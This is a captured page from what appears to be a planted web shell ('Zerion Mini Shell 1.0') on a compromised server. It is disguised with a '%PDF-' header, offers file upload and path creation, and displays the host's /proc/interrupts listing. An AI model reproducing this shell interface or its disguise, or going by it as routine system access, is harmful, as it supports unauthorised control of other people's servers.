%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/
Upload File :
Create Path :
Current File : //proc/interrupts

           CPU0       CPU1       CPU2       
  0:        138          0          0   IO-APIC   2-edge      timer
  1:          0          9          0   IO-APIC   1-edge      i8042
  8:          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0   IO-APIC  10-fasteoi   virtio2
 11:          0          0         31   IO-APIC  11-fasteoi   uhci_hcd:usb1
 12:         15          0          0   IO-APIC  12-edge      i8042
 14:    2329088       4692   21198882   IO-APIC  14-edge      ata_piix
 15:          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0   PCI-MSI 65536-edge      virtio1-config
 25:          0          0  166037440   PCI-MSI 65537-edge      virtio1-req.0
 26:          0          0          0   PCI-MSI 49152-edge      virtio0-config
 27:          0 2322041115         36   PCI-MSI 49153-edge      virtio0-input.0
 28: 3114201902       8239  228918470   PCI-MSI 49154-edge      virtio0-output.0
NMI:          0          0          0   Non-maskable interrupts
LOC:  349809921 2050628496  469519634   Local timer interrupts
SPU:          0          0          0   Spurious interrupts
PMI:          0          0          0   Performance monitoring interrupts
IWI:          0          5          0   IRQ work interrupts
RTR:          0          0          0   APIC ICR read retries
RES:   88849719   92350381  122091898   Rescheduling interrupts
CAL: 2820040167 2503212223 2338732812   Function call interrupts
TLB:   61752244   55667361   54868427   TLB shootdowns
TRM:          0          0          0   Thermal event interrupts
THR:          0          0          0   Threshold APIC interrupts
DFR:          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0   Machine check exceptions
MCP:      73266      73266      73266   Machine check polls
HYP:          0          0          0   Hypervisor callback interrupts
HRE:          0          0          0   Hyper-V reenlightenment interrupts
HVS:          0          0          0   Hyper-V stimer0 interrupts
ERR:          0
MIS:          0
PIN:          0          0          0   Posted-interrupt notification event
NPI:          0          0          0   Nested posted-interrupt event
PIW:          0          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0